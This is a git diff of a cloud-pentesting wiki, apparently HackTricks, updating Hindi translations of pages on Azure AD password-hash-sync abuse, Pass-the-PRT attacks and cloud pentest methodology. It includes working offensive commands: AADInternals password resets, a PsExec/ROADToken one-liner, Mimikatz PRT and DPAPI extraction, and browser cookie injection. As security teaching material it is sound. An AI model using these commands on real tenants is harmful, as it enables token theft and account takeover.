Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` -यह केवल **क्लाउड** उपयोगकर्ताओं के पासवर्ड को संशोधित करना भी संभव है (भले ही यह अप्रत्याशित हो)। +यह केवल **क्लाउड** उपयोगकर्ताओं के पासवर्ड को **संशोधित** करना भी संभव है (भले ही यह अप्रत्याशित हो)। ```powershell # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. @@ -91,10 +91,10 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` -यह उपयोगकर्ता का पासवर्ड डंप करना भी संभव है। +इस उपयोगकर्ता का पासवर्ड डंप करना भी संभव है। > [!CAUTION] -> एक और विकल्प होगा **एक सेवा प्रमुख को विशेषाधिकार प्राप्त अनुमतियाँ सौंपना**, जिसे **Sync** उपयोगकर्ता **अनुमतियाँ** देने के लिए सक्षम है, और फिर **उस सेवा प्रमुख तक पहुँच प्राप्त करना** एक प्रिवेस्क के तरीके के रूप में। +> एक और विकल्प होगा **एक सेवा प्रिंसिपल को विशेषाधिकार प्राप्त अनुमतियाँ सौंपना**, जिसे **Sync** उपयोगकर्ता **अनुमतियाँ** देने के लिए सक्षम है, और फिर **उस सेवा प्रिंसिपल तक पहुँच प्राप्त करना** एक तरीके के रूप में प्रिवेस्क के लिए। ### Seamless SSO @@ -104,7 +104,7 @@ PHS के साथ Seamless SSO का उपयोग करना संभ seamless-sso.md {{#endref}} -## References +## संदर्भ - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index 234e22284..2f02a4a2a 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -12,17 +12,17 @@ az-primary-refresh-token-prt.md ``` Dsregcmd.exe /status ``` -In the SSO State section, you should see the **`AzureAdPrt`** set to **YES**. +SSO State अनुभाग में, आपको **`AzureAdPrt`** **YES** पर सेट होना चाहिए।
-In the same output you can also see if the **device is joined to Azure** (in the field `AzureAdJoined`): +एक ही आउटपुट में आप यह भी देख सकते हैं कि **डिवाइस Azure से जुड़ा है** (क्षेत्र `AzureAdJoined` में):
## PRT कुकी -The PRT cookie is actually called **`x-ms-RefreshTokenCredential`** and it's a JSON Web Token (JWT). A JWT contains **3 parts**, the **header**, **payload** and **signature**, divided by a `.` and all url-safe base64 encoded. A typical PRT cookie contains the following header and body: +PRT कुकी वास्तव में **`x-ms-RefreshTokenCredential`** कहलाती है और यह एक JSON वेब टोकन (JWT) है। एक JWT में **3 भाग** होते हैं, **header**, **payload** और **signature**, जो `.` द्वारा विभाजित होते हैं और सभी url-safe base64 में एन्कोडेड होते हैं। एक सामान्य PRT कुकी में निम्नलिखित header और body होती है: ```json { "alg": "HS256", @@ -34,33 +34,33 @@ The PRT cookie is actually called **`x-ms-RefreshTokenCredential`** and it's a J "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` -The actual **Primary Refresh Token (PRT)** is encapsulated within the **`refresh_token`**, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field **`is_primary`** signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the `request_nonce` is transmitted from the `logon.microsoftonline.com` page. +वास्तविक **Primary Refresh Token (PRT)** **`refresh_token`** के भीतर संकुचित है, जिसे Azure AD के नियंत्रण में एक कुंजी द्वारा एन्क्रिप्ट किया गया है, जिससे इसकी सामग्री हमारे लिए अपारदर्शी और अव्याख्येय हो जाती है। फ़ील्ड **`is_primary`** इस टोकन के भीतर प्राथमिक रिफ्रेश टोकन के संकुचन को दर्शाता है। यह सुनिश्चित करने के लिए कि कुकी उस विशेष लॉगिन सत्र से बंधी रहे जिसके लिए इसे बनाया गया था, `request_nonce` को `logon.microsoftonline.com` पृष्ठ से भेजा जाता है। -### PRT Cookie flow using TPM +### PRT कुकी प्रवाह TPM का उपयोग करते हुए -The **LSASS** process will send to the TPM the **KDF context**, and the TPM will used **session key** (gathered when the device was registered in AzureAD and stored in the TPM) and the previous context to **derivate** a **key,** and this **derived key** is used to **sign the PRT cookie (JWT).** +**LSASS** प्रक्रिया TPM को **KDF संदर्भ** भेजेगी, और TPM **सत्र कुंजी** (जो AzureAD में डिवाइस पंजीकरण के समय एकत्र की गई थी और TPM में संग्रहीत है) और पिछले संदर्भ का उपयोग करके एक **कुंजी** उत्पन्न करेगा, और यह **उत्पन्न कुंजी** **PRT कुकी (JWT)** पर हस्ताक्षर करने के लिए उपयोग की जाती है। -The **KDF context is** a nonce from AzureAD and the PRT creating a **JWT** mixed with a **context** (random bytes). +**KDF संदर्भ** AzureAD से एक नॉनस और PRT को मिलाकर एक **JWT** है जिसमें एक **संदर्भ** (यादृच्छिक बाइट्स) है। -Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to **request derived keys from new contexts and use the generated keys to sign Cookies**. +इसलिए, भले ही PRT को निकाला नहीं जा सकता क्योंकि यह TPM के भीतर स्थित है, LSASS का दुरुपयोग करके **नए संदर्भों से उत्पन्न कुंजी का अनुरोध करना और उत्पन्न कुंजी का उपयोग करके कुकी पर हस्ताक्षर करना संभव है**।
-## PRT Abuse Scenarios +## PRT दुरुपयोग परिदृश्य -As a **regular user** it's possible to **request PRT usage** by asking LSASS for SSO data.\ -This can be done like **native apps** which request tokens from **Web Account Manager** (token broker). WAM pasess the request to **LSASS**, which asks for tokens using signed PRT assertion. Or it can be down with **browser based (web) flow**s where a **PRT cookie** is used as **header** to authenticate requests to Azure AS login pages. +एक **सामान्य उपयोगकर्ता** के रूप में, **SSO डेटा के लिए LSASS से PRT उपयोग का अनुरोध करना** संभव है।\ +यह **Web Account Manager** (टोकन ब्रोकर) से टोकन का अनुरोध करने वाले **स्थानीय ऐप्स** की तरह किया जा सकता है। WAM अनुरोध को **LSASS** को भेजता है, जो हस्ताक्षरित PRT असर्शन का उपयोग करके टोकन के लिए पूछता है। या इसे **ब्राउज़र आधारित (वेब) प्रवाह** के साथ किया जा सकता है जहां **PRT कुकी** को Azure AS लॉगिन पृष्ठों के लिए अनुरोधों को प्रमाणित करने के लिए **हेडर** के रूप में उपयोग किया जाता है। -As **SYSTEM** you could **steal the PRT if not protected** by TPM or **interact with PRT keys in LSASS** using crypto APIs. +**SYSTEM** के रूप में, आप **PRT को चुरा सकते हैं यदि यह TPM द्वारा सुरक्षित नहीं है** या **LSASS में PRT कुंजी के साथ इंटरैक्ट कर सकते हैं** क्रिप्टो एपीआई का उपयोग करके। -## Pass-the-PRT Attack Examples +## Pass-the-PRT हमले के उदाहरण -### Attack - ROADtoken +### हमला - ROADtoken -For more info about this way [**check this post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken will run **`BrowserCore.exe`** from the right directory and use it to **obtain a PRT cookie**. This cookie can then be used with ROADtools to authenticate and **obtain a persistent refresh token**. +इस तरीके के बारे में अधिक जानकारी के लिए [**इस पोस्ट की जांच करें**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)। ROADtoken **`BrowserCore.exe`** को सही निर्देशिका से चलाएगा और इसका उपयोग **PRT कुकी प्राप्त करने** के लिए करेगा। इस कुकी का उपयोग ROADtools के साथ प्रमाणित करने और **एक स्थायी रिफ्रेश टोकन प्राप्त करने** के लिए किया जा सकता है। -To generate a valid PRT cookie the first thing you need is a nonce.\ -You can get this with: +एक मान्य PRT कुकी उत्पन्न करने के लिए आपको सबसे पहले एक नॉनस की आवश्यकता है।\ +आप इसे प्राप्त कर सकते हैं: ```powershell $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" @@ -80,7 +80,7 @@ AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9- ```powershell roadrecon auth prt-init ``` -फिर आप [**roadtoken**](https://github.com/dirkjanm/ROADtoken) का उपयोग करके एक नया PRT प्राप्त कर सकते हैं (उपयोगकर्ता की प्रक्रिया से हमले के लिए उपकरण में चलाएँ): +फिर आप [**roadtoken**](https://github.com/dirkjanm/ROADtoken) का उपयोग करके एक नया PRT प्राप्त कर सकते हैं (उपयोगकर्ता के एक प्रक्रिया से हमले के लिए उपकरण में चलाएँ): ```powershell .\ROADtoken.exe ``` @@ -88,7 +88,7 @@ As oneliner: ```powershell Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` -फिर आप **जनित कुकी** का उपयोग करके **टोकन** **जनरेट** कर सकते हैं ताकि Azure AD **ग्राफ** या Microsoft ग्राफ का उपयोग करके **लॉगिन** कर सकें: +फिर आप **जनित कुकी** का उपयोग **टोकन उत्पन्न** करने के लिए कर सकते हैं ताकि Azure AD **ग्राफ** या Microsoft ग्राफ का उपयोग करके **लॉगिन** किया जा सके: ```powershell # Generate roadrecon auth --prt-cookie @@ -96,9 +96,9 @@ roadrecon auth --prt-cookie # Connect Connect-AzureAD --AadAccessToken --AccountId ``` -### Attack - Using roadrecon +### हमला - रोडरकॉन का उपयोग करना -### Attack - Using AADInternals and a leaked PRT +### हमला - AADInternals और एक लीक किए गए PRT का उपयोग करना `Get-AADIntUserPRTToken` **उपयोगकर्ता का PRT टोकन** Azure AD से जुड़े या हाइब्रिड जुड़े कंप्यूटर से प्राप्त करता है। PRT टोकन प्राप्त करने के लिए `BrowserCore.exe` का उपयोग करता है। ```powershell @@ -108,7 +108,7 @@ $prtToken = Get-AADIntUserPRTToken # Get an access token for AAD Graph API and save to cache Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` -या अगर आपके पास Mimikatz से मान हैं, तो आप AADInternals का उपयोग करके एक टोकन भी उत्पन्न कर सकते हैं: +या अगर आपके पास Mimikatz से मान हैं तो आप AADInternals का उपयोग करके एक टोकन भी उत्पन्न कर सकते हैं: ```powershell # Mimikat "PRT" value $MimikatzPRT="MC5BWU..." @@ -143,18 +143,18 @@ Value: [Paste your output from above] Path: / HttpOnly: Set to True (checked) ``` -फिर [https://portal.azure.com](https://portal.azure.com) पर जाएं +फिर जाएं [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> बाकी डिफ़ॉल्ट होना चाहिए। सुनिश्चित करें कि आप पृष्ठ को ताज़ा कर सकते हैं और कुकी गायब नहीं होती है, यदि ऐसा होता है, तो आपने गलती की हो सकती है और आपको प्रक्रिया को फिर से करना होगा। यदि ऐसा नहीं होता है, तो आप ठीक होंगे। +> बाकी डिफ़ॉल्ट होना चाहिए। सुनिश्चित करें कि आप पृष्ठ को रिफ्रेश कर सकते हैं और कुकी गायब नहीं होती, यदि ऐसा होता है, तो आपने गलती की हो सकती है और आपको प्रक्रिया को फिर से करना होगा। यदि नहीं होती है, तो आप ठीक होंगे। ### हमला - Mimikatz #### चरण 1. **PRT (प्राथमिक रिफ्रेश टोकन) LSASS** (स्थानीय सुरक्षा प्राधिकरण उपप्रणाली सेवा) से निकाला जाता है और आगे के उपयोग के लिए संग्रहीत किया जाता है। -2. **सत्र कुंजी अगली निकाली जाती है**। चूंकि यह कुंजी प्रारंभ में जारी की जाती है और फिर स्थानीय डिवाइस द्वारा फिर से एन्क्रिप्ट की जाती है, इसलिए इसे DPAPI मास्टरकी का उपयोग करके डिक्रिप्ट करना आवश्यक है। DPAPI (डेटा सुरक्षा एपीआई) के बारे में विस्तृत जानकारी इन संसाधनों में पाई जा सकती है: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) और इसके अनुप्रयोग की समझ के लिए, [Pass-the-cookie हमला](az-pass-the-cookie.md) देखें। -3. सत्र कुंजी के डिक्रिप्शन के बाद, **PRT के लिए व्युत्पन्न कुंजी और संदर्भ प्राप्त होते हैं**। ये **PRT कुकी के निर्माण के लिए महत्वपूर्ण हैं**। विशेष रूप से, व्युत्पन्न कुंजी का उपयोग उस JWT (JSON वेब टोकन) पर हस्ताक्षर करने के लिए किया जाता है जो कुकी बनाता है। इस प्रक्रिया का एक व्यापक विवरण डिर्क-जान द्वारा प्रदान किया गया है, जिसे [यहां](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) देखा जा सकता है। +2. **सत्र कुंजी अगली निकाली जाती है**। चूंकि यह कुंजी प्रारंभ में जारी की जाती है और फिर स्थानीय डिवाइस द्वारा फिर से एन्क्रिप्ट की जाती है, इसलिए इसे DPAPI मास्टरकी का उपयोग करके डिक्रिप्ट करना आवश्यक है। DPAPI (डेटा सुरक्षा एपीआई) के बारे में विस्तृत जानकारी इन संसाधनों में पाई जा सकती है: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) और इसके अनुप्रयोग की समझ के लिए, [Pass-the-cookie attack](az-pass-the-cookie.md) देखें। +3. सत्र कुंजी के डिक्रिप्शन के बाद, **PRT के लिए व्युत्पन्न कुंजी और संदर्भ प्राप्त होते हैं**। ये **PRT कुकी के निर्माण** के लिए महत्वपूर्ण हैं। विशेष रूप से, व्युत्पन्न कुंजी का उपयोग कुकी का गठन करने वाले JWT (JSON वेब टोकन) पर हस्ताक्षर करने के लिए किया जाता है। इस प्रक्रिया का एक व्यापक विवरण डिर्क-जान द्वारा प्रदान किया गया है, जिसे [यहां](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) देखा जा सकता है। > [!CAUTION] > ध्यान दें कि यदि PRT TPM के अंदर है और `lsass` के अंदर नहीं है, तो **mimikatz इसे निकालने में असमर्थ होगा**।\ @@ -163,7 +163,7 @@ HttpOnly: Set to True (checked) आप इन विवरणों को निकालने की प्रक्रिया का **गहन विवरण** यहां पा सकते हैं: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] -> अगस्त 2021 के सुधारों के बाद अन्य उपयोगकर्ताओं के PRT टोकन प्राप्त करने के लिए यह ठीक से काम नहीं करेगा क्योंकि केवल उपयोगकर्ता ही अपना PRT प्राप्त कर सकता है (एक स्थानीय व्यवस्थापक अन्य उपयोगकर्ताओं के PRTs तक पहुंच नहीं सकता), लेकिन वह अपने PRT तक पहुंच सकता है। +> अगस्त 2021 के फिक्स के बाद अन्य उपयोगकर्ताओं के PRT टोकन प्राप्त करने के लिए यह ठीक से काम नहीं करेगा क्योंकि केवल उपयोगकर्ता ही अपना PRT प्राप्त कर सकता है (एक स्थानीय व्यवस्थापक अन्य उपयोगकर्ताओं के PRTs तक पहुंच नहीं सकता), लेकिन वह अपने PRT तक पहुंच सकता है। आप **mimikatz** का उपयोग करके PRT निकाल सकते हैं: ```powershell @@ -179,15 +179,15 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
-**Prt** के लेबल वाले भाग को **कॉपी** करें और इसे सहेजें।\ -सत्र कुंजी (जो **`ProofOfPossesionKey`** फ़ील्ड का **`KeyValue`** है) को भी निकालें जिसे आप नीचे हाइलाइटेड देख सकते हैं। यह एन्क्रिप्टेड है और इसे डिक्रिप्ट करने के लिए हमें अपने DPAPI मास्टरकीज़ का उपयोग करने की आवश्यकता होगी। +**कॉपी** करें उस भाग को जो **Prt** के रूप में लेबल किया गया है और इसे सहेजें।\ +सत्र कुंजी (जो **`ProofOfPossesionKey`** फ़ील्ड का **`KeyValue`** है) को भी निकालें जिसे आप नीचे हाइलाइटेड देख सकते हैं। यह एन्क्रिप्टेड है और हमें इसे डिक्रिप्ट करने के लिए अपने DPAPI मास्टरकीज़ का उपयोग करने की आवश्यकता होगी।
> [!NOTE] -> यदि आप कोई PRT डेटा नहीं देखते हैं, तो इसका मतलब हो सकता है कि आपके पास **कोई PRT नहीं है** क्योंकि आपका डिवाइस Azure AD से जुड़ा नहीं है या यह हो सकता है कि आप **पुराने संस्करण** का Windows 10 चला रहे हैं। +> यदि आप कोई PRT डेटा नहीं देखते हैं, तो इसका मतलब यह हो सकता है कि आपके पास **कोई PRT नहीं है** क्योंकि आपका डिवाइस Azure AD से जुड़ा नहीं है या यह हो सकता है कि आप **Windows 10 का पुराना संस्करण** चला रहे हैं। -सत्र कुंजी को **डिक्रिप्ट** करने के लिए आपको **SYSTEM** के रूप में अपनी विशेषाधिकारों को **उच्च करना** होगा ताकि आप कंप्यूटर संदर्भ के तहत चल सकें और **DPAPI मास्टरकी का उपयोग करके इसे डिक्रिप्ट कर सकें**। आप ऐसा करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं: +सत्र कुंजी को **डिक्रिप्ट** करने के लिए आपको अपनी विशेषताओं को **SYSTEM** में **उच्च करना** होगा ताकि आप कंप्यूटर संदर्भ के तहत चल सकें और **DPAPI मास्टरकी का उपयोग करके इसे डिक्रिप्ट कर सकें**। आप ऐसा करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect @@ -224,11 +224,11 @@ HttpOnly: Set to True (checked) #### विकल्प 2 - roadrecon का उपयोग करके PRT -- पहले PRT को नवीनीकरण करें, जो इसे `roadtx.prt` में सहेज लेगा: +- पहले PRT को नवीनीकरण करें, जो इसे `roadtx.prt` में सहेज देगा: ```bash roadtx prt -a renew --prt --prt-sessionkey ``` -- अब हम `roadtx browserprtauth` का उपयोग करके इंटरैक्टिव ब्राउज़र के माध्यम से **टोकन अनुरोध** कर सकते हैं। यदि हम `roadtx describe` कमांड का उपयोग करते हैं, तो हम देखते हैं कि एक्सेस टोकन में एक MFA दावा शामिल है क्योंकि इस मामले में मैंने जो PRT का उपयोग किया था, उसमें भी एक MFA दावा था। +- अब हम `roadtx browserprtauth` के साथ इंटरैक्टिव ब्राउज़र का उपयोग करके **टोकन अनुरोध** कर सकते हैं। यदि हम `roadtx describe` कमांड का उपयोग करते हैं, तो हम देखते हैं कि एक्सेस टोकन में एक MFA क्लेम शामिल है क्योंकि इस मामले में मैंने जो PRT का उपयोग किया था, उसमें भी एक MFA क्लेम था। ```bash roadtx browserprtauth roadtx describe < .roadtools_auth @@ -237,7 +237,7 @@ roadtx describe < .roadtools_auth #### विकल्प 3 - roadrecon का उपयोग करके व्युत्पन्न कुंजी -mimikatz द्वारा डंप की गई संदर्भ और व्युत्पन्न कुंजी के साथ, roadrecon का उपयोग करके एक नया साइन किया हुआ कुकी उत्पन्न करना संभव है: +संदर्भ और mimikatz द्वारा डंप की गई व्युत्पन्न कुंजी होने पर, roadrecon का उपयोग करके एक नया साइन किया हुआ कुकी उत्पन्न करना संभव है: ```bash roadrecon auth --prt-cookie --prt-context --derives-key ``` diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 6b3b553d4..412bc9088 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -टेस्ट शुरू करने के लिए आपके पास **सदस्यता पर Reader अनुमतियों के साथ एक उपयोगकर्ता** और **AzureAD में Global Reader भूमिका** के साथ पहुंच होनी चाहिए। यदि फिर भी आप **Storage खातों की सामग्री तक पहुंचने में असमर्थ हैं** तो आप इसे **Storage Account Contributor भूमिका** के साथ ठीक कर सकते हैं। +टेस्ट शुरू करने के लिए आपके पास **सदस्यता पर Reader permissions** और **AzureAD में Global Reader role** के साथ एक उपयोगकर्ता का एक्सेस होना चाहिए। यदि फिर भी आप **Storage accounts के कंटेंट तक पहुँचने में असमर्थ हैं** तो आप इसे **Storage Account Contributor role** के साथ ठीक कर सकते हैं। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index e276b97f5..414238631 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -8,37 +8,37 @@ प्रत्येक क्लाउड की अपनी विशेषताएँ होती हैं लेकिन सामान्यतः कुछ **सामान्य बातें हैं जिन्हें एक pentester को** क्लाउड वातावरण का परीक्षण करते समय जांचना चाहिए: -- **Benchmark checks** -- यह आपको **पर्यावरण का आकार** और **सेवाओं का उपयोग** समझने में मदद करेगा +- **बेंचमार्क जांचें** +- यह आपको **पर्यावरण का आकार समझने** में मदद करेगा और **सेवाओं का उपयोग** करेगा - यह आपको कुछ **त्वरित गलत कॉन्फ़िगरेशन** खोजने की अनुमति देगा क्योंकि आप इनमें से अधिकांश परीक्षण **स्वचालित उपकरणों** के साथ कर सकते हैं -- **Services Enumeration** -- यदि आपने बेंचमार्क परीक्षण सही ढंग से किया है तो आप यहाँ अधिक गलत कॉन्फ़िगरेशन नहीं पाएंगे, लेकिन आप कुछ पा सकते हैं जो बेंचमार्क परीक्षण में नहीं देखे गए थे। -- यह आपको यह जानने की अनुमति देगा कि **क्लाउड env में क्या वास्तव में उपयोग किया जा रहा है** +- **सेवाओं की गणना** +- यदि आपने बेंचमार्क परीक्षण सही ढंग से किया है तो आप यहाँ अधिक गलत कॉन्फ़िगरेशन नहीं पाएंगे, लेकिन आप कुछ ऐसा पा सकते हैं जो बेंचमार्क परीक्षण में नहीं देखा गया था। +- यह आपको यह जानने की अनुमति देगा कि **क्लाउड env में वास्तव में क्या उपयोग किया जा रहा है** - यह अगले चरणों में बहुत मदद करेगा -- **Check exposed assets** -- यह पिछले अनुभाग के दौरान किया जा सकता है, आपको **यह पता लगाना होगा कि क्या कुछ भी संभावित रूप से इंटरनेट पर एक्सपोज़ किया गया है** और इसे कैसे एक्सेस किया जा सकता है। -- यहाँ मैं **हाथ से एक्सपोज़ की गई अवसंरचना** जैसे वेब पृष्ठों के साथ उदाहरणों या अन्य पोर्ट्स के बारे में बात कर रहा हूँ, और अन्य **क्लाउड प्रबंधित सेवाओं के बारे में जो एक्सपोज़ के लिए कॉन्फ़िगर की जा सकती हैं** (जैसे DBs या बकेट्स) -- फिर आपको **जांचना चाहिए कि क्या उस संसाधन को एक्सपोज़ किया जा सकता है या नहीं** (गोपनीय जानकारी? कमजोरियाँ? एक्सपोज़ की गई सेवा में गलत कॉन्फ़िगरेशन?) -- **Check permissions** -- यहाँ आपको **क्लाउड के अंदर प्रत्येक भूमिका/उपयोगकर्ता की सभी अनुमतियों का पता लगाना चाहिए** और उनका उपयोग कैसे किया जा रहा है -- बहुत **अधिक उच्च विशेषाधिकार प्राप्त** (सब कुछ नियंत्रित करने वाले) खाते? उत्पन्न कुंजी का उपयोग नहीं किया गया?... इनमें से अधिकांश जांच पहले से ही बेंचमार्क परीक्षणों में की जानी चाहिए थी -- यदि ग्राहक OpenID या SAML या अन्य **federation** का उपयोग कर रहा है तो आपको उनसे आगे की **जानकारी** पूछनी पड़ सकती है कि **प्रत्येक भूमिका कैसे असाइन की जा रही है** (यह समान नहीं है कि व्यवस्थापक भूमिका 1 उपयोगकर्ता को या 100 को असाइन की गई है) -- यह **खोजना पर्याप्त नहीं है** कि कौन से उपयोगकर्ताओं के पास **admin** अनुमतियाँ "\*:\*" हैं। बहुत सारी **अन्य अनुमतियाँ** हैं जो उपयोग की जाने वाली सेवाओं के आधार पर बहुत **संवेदनशील** हो सकती हैं। -- इसके अलावा, अनुमतियों का दुरुपयोग करते हुए **संभावित privesc** तरीके हैं। इन सभी बातों को ध्यान में रखा जाना चाहिए और **जितने संभव हो सके privesc पथों** की रिपोर्ट की जानी चाहिए। -- **Check Integrations** -- यह अत्यधिक संभावना है कि **अन्य क्लाउड या SaaS के साथ एकीकरण** क्लाउड env के अंदर उपयोग किए जा रहे हैं। -- **आप जिस क्लाउड का ऑडिट कर रहे हैं** उसके एकीकरण के लिए आपको सूचित करना चाहिए **किसके पास उस एकीकरण का (दुरुपयोग) करने का अधिकार है** और आपको पूछना चाहिए **कितना संवेदनशील** है किया जा रहा कार्य।\ +- **खुले हुए संसाधनों की जांच करें** +- यह पिछले अनुभाग के दौरान किया जा सकता है, आपको **यह पता लगाना होगा कि क्या कुछ भी संभावित रूप से इंटरनेट पर खुला है** और इसे कैसे एक्सेस किया जा सकता है। +- यहाँ मैं **हाथ से खोली गई अवसंरचना** जैसे वेब पृष्ठों के साथ उदाहरणों या अन्य पोर्ट्स के बारे में बात कर रहा हूँ, और अन्य **क्लाउड प्रबंधित सेवाओं के बारे में जो खोली जा सकती हैं** (जैसे DBs या बकेट्स) +- फिर आपको यह जांचना चाहिए कि **क्या उस संसाधन को खोला जा सकता है या नहीं** (गोपनीय जानकारी? कमजोरियाँ? खोली गई सेवा में गलत कॉन्फ़िगरेशन?) +- **अनुमतियों की जांच करें** +- यहाँ आपको **क्लाउड के भीतर प्रत्येक भूमिका/उपयोगकर्ता की सभी अनुमतियों का पता लगाना चाहिए** और उनका उपयोग कैसे किया जा रहा है +- बहुत **अधिक उच्च विशेषाधिकार प्राप्त** (सब कुछ नियंत्रित करने वाले) खाते? उत्पन्न कुंजी का उपयोग नहीं किया गया?... इनमें से अधिकांश जांचें पहले से ही बेंचमार्क परीक्षणों में की जानी चाहिए थीं +- यदि ग्राहक OpenID या SAML या अन्य **संघ** का उपयोग कर रहा है तो आपको उनसे आगे की **जानकारी** के लिए पूछना पड़ सकता है कि **प्रत्येक भूमिका कैसे सौंपा जा रहा है** (यह समान नहीं है कि व्यवस्थापक भूमिका 1 उपयोगकर्ता को या 100 को सौंपा गया है) +- यह **खोजना पर्याप्त नहीं है** कि कौन से उपयोगकर्ताओं के पास **व्यवस्थापक** अनुमतियाँ हैं "\*:\*". बहुत सारी **अन्य अनुमतियाँ** हैं जो उपयोग की जाने वाली सेवाओं के आधार पर बहुत **संवेदनशील** हो सकती हैं। +- इसके अलावा, अनुमतियों का दुरुपयोग करके **संभावित privesc** तरीके हैं। इन सभी बातों को ध्यान में रखा जाना चाहिए और **जितने संभव हो privesc पथों** की रिपोर्ट की जानी चाहिए। +- **एकीकरण की जांच करें** +- यह अत्यधिक संभावना है कि **अन्य क्लाउड या SaaS के साथ एकीकरण** क्लाउड env के भीतर उपयोग किया जा रहा है। +- आपके द्वारा ऑडिट किए जा रहे क्लाउड के **एकीकरण** के लिए आपको सूचित करना चाहिए **किसके पास उस एकीकरण का (दुरुपयोग) करने का अधिकार है** और आपको पूछना चाहिए **कितना संवेदनशील** है किया जा रहा कार्य।\ उदाहरण के लिए, कौन AWS बकेट में लिख सकता है जहाँ GCP डेटा प्राप्त कर रहा है (पूछें कि GCP में उस डेटा को संभालने में कार्य कितना संवेदनशील है)। -- **आप जिस क्लाउड का ऑडिट कर रहे हैं** उसके अंदर बाहरी प्लेटफार्मों से एकीकरण के लिए, आपको पूछना चाहिए **किसके पास बाहरी रूप से उस एकीकरण का (दुरुपयोग) करने का अधिकार है** और जांचें कि उस डेटा का उपयोग कैसे किया जा रहा है।\ -उदाहरण के लिए, यदि एक सेवा GCR में होस्ट की गई Docker छवि का उपयोग कर रही है, तो आपको पूछना चाहिए कि इसे संशोधित करने का किसके पास अधिकार है और उस छवि को AWS क्लाउड के अंदर निष्पादित करने पर कौन सी संवेदनशील जानकारी और पहुंच प्राप्त होगी। +- आपके द्वारा ऑडिट किए जा रहे क्लाउड के **अंदर बाहरी प्लेटफार्मों से एकीकरण** के लिए, आपको पूछना चाहिए **किसके पास बाहरी रूप से उस एकीकरण का (दुरुपयोग) करने का अधिकार है** और यह जांचें कि उस डेटा का उपयोग कैसे किया जा रहा है।\ +उदाहरण के लिए, यदि एक सेवा GCR में होस्ट की गई Docker छवि का उपयोग कर रही है, तो आपको पूछना चाहिए कि इसे संशोधित करने का किसके पास अधिकार है और उस छवि को AWS क्लाउड के भीतर निष्पादित करने पर कौन सी संवेदनशील जानकारी और पहुंच प्राप्त होगी। ## Multi-Cloud tools -कई उपकरण हैं जो विभिन्न क्लाउड वातावरण का परीक्षण करने के लिए उपयोग किए जा सकते हैं। स्थापना के चरण और लिंक इस अनुभाग में बताए जाएंगे। +कई उपकरण हैं जिन्हें विभिन्न क्लाउड वातावरण का परीक्षण करने के लिए उपयोग किया जा सकता है। स्थापना के चरण और लिंक इस अनुभाग में बताए जाएंगे। ### [PurplePanda](https://github.com/carlospolop/purplepanda) -एक उपकरण जो **क्लाउड और क्लाउड/SaaS में खराब कॉन्फ़िगरेशन और privesc पथों की पहचान करने के लिए है।** +एक उपकरण जो **क्लाउड और क्लाउड/SaaS में खराब कॉन्फ़िगरेशन और privesc पथों की पहचान** करता है। {{#tabs }} {{#tab name="Install" }} @@ -91,7 +91,7 @@ prowler --list-services AWS, Azure, Github, Google, 